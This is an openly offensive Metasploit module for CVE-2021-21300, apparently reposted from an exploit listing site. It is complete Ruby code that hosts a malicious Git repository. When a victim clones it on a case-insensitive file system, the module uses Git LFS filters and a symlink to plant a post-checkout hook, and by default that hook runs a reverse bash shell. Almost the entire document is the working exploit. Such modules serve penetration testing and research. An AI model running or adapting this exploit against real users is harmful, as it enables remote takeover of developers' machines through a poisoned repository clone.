Share
## https://sploitus.com/exploit?id=PACKETSTORM:163978
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Git  
include Msf::Exploit::Git::SmartHttp  
include Msf::Exploit::Git::Lfs  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Git LFS Clone Command Exec',  
'Description' => %q{  
Git clients that support delay-capable clean / smudge  
filters and symbolic links on case-insensitive file systems are  
vulnerable to remote code execution while cloning a repository.  
  
Usage of clean / smudge filters through Git LFS and a  
case-insensitive file system changes the checkout order  
of repository files which enables the placement of a Git hook  
in the `.git/hooks` directory. By default, this module writes  
a `post-checkout` script so that the payload will automatically  
be executed upon checkout of the repository.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Johannes Schindelin', # Discovery  
'Matheus Tavares', # Discovery  
'Shelby Pace' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2021-21300' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],  
[ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]  
],  
'DisclosureDate' => '2021-04-26',  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Targets' => [  
[  
'Git for MacOS, Windows',  
{  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]  
}  
)  
)  
  
register_options(  
[  
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])  
]  
)  
  
deregister_options('RHOSTS', 'RPORT')  
end  
  
def exploit  
setup_repo_structure  
super  
end  
  
def setup_repo_structure  
link_content = '.git/hooks'  
link_name = Rex::Text.rand_text_alpha(8..12).downcase  
link_obj = GitObject.build_blob_object(link_content)  
  
dir_name = link_name.upcase  
git_attr = '.gitattributes'  
  
git_hook = 'post-checkout'  
@hook_payload = "#!/bin/sh\n#{payload.encoded}"  
ptr_file = generate_pointer_file(@hook_payload)  
  
# need to initially send the pointer file  
# then send the actual object when Git LFS requests it  
git_hook_ptr = GitObject.build_blob_object(ptr_file)  
  
git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"  
git_attr_obj = GitObject.build_blob_object(git_attr_content)  
  
sub_file_content = Rex::Text.rand_text_alpha(0..150)  
sub_file_name = Rex::Text.rand_text_alpha(8..12)  
sub_file_obj = GitObject.build_blob_object(sub_file_content)  
  
register_dir_for_cleanup('.git')  
register_files_for_cleanup(git_attr, link_name)  
  
# create subdirectory which holds payload  
sub_tree =  
[  
{  
mode: '100644',  
file_name: sub_file_name,  
sha1: sub_file_obj.sha1  
},  
{  
mode: '100755',  
file_name: git_hook,  
sha1: git_hook_ptr.sha1  
}  
]  
  
sub_tree_obj = GitObject.build_tree_object(sub_tree)  
  
# root of repository  
tree_ent =  
[  
{  
mode: '100644',  
file_name: git_attr,  
sha1: git_attr_obj.sha1  
},  
{  
mode: '040000',  
file_name: dir_name,  
sha1: sub_tree_obj.sha1  
},  
{  
mode: '120000',  
file_name: link_name,  
sha1: link_obj.sha1  
}  
]  
tree_obj = GitObject.build_tree_object(tree_ent)  
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)  
  
@git_objs =  
[  
commit, tree_obj, sub_tree_obj,  
sub_file_obj, git_attr_obj, git_hook_ptr,  
link_obj  
]  
  
@refs =  
{  
'HEAD' => 'refs/heads/master',  
'refs/heads/master' => commit.sha1  
}  
end  
  
def create_git_uri  
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')  
end  
  
def primer  
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']  
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)  
print_status("Git repository to clone: #{@git_addr}")  
hardcoded_uripath(@git_repo_uri)  
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")  
end  
  
def on_request_uri(cli, req)  
if req.uri.include?('git-upload-pack')  
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)  
case request.type  
when 'ref-discovery'  
response = send_refs(request)  
when 'upload-pack'  
response = send_requested_objs(request)  
else  
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')  
end  
else  
response = handle_lfs_objects(req)  
unless response.code == 200  
cli.send_response(response)  
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')  
end  
end  
  
cli.send_response(response)  
end  
  
def send_refs(req)  
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'  
  
response = get_ref_discovery_response(req, @refs)  
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response  
  
response  
end  
  
def send_requested_objs(req)  
upload_pack_resp = get_upload_pack_response(req, @git_objs)  
unless upload_pack_resp  
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')  
end  
  
upload_pack_resp  
end  
  
def handle_lfs_objects(req)  
git_hook_obj = GitObject.build_blob_object(@hook_payload)  
  
case req.method  
when 'POST'  
print_status('Sending payload data...')  
response = get_batch_response(req, @git_addr, git_hook_obj)  
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response  
when 'GET'  
print_status('Sending LFS object...')  
response = get_requested_obj_response(req, git_hook_obj)  
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response  
else  
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')  
end  
  
response  
end  
end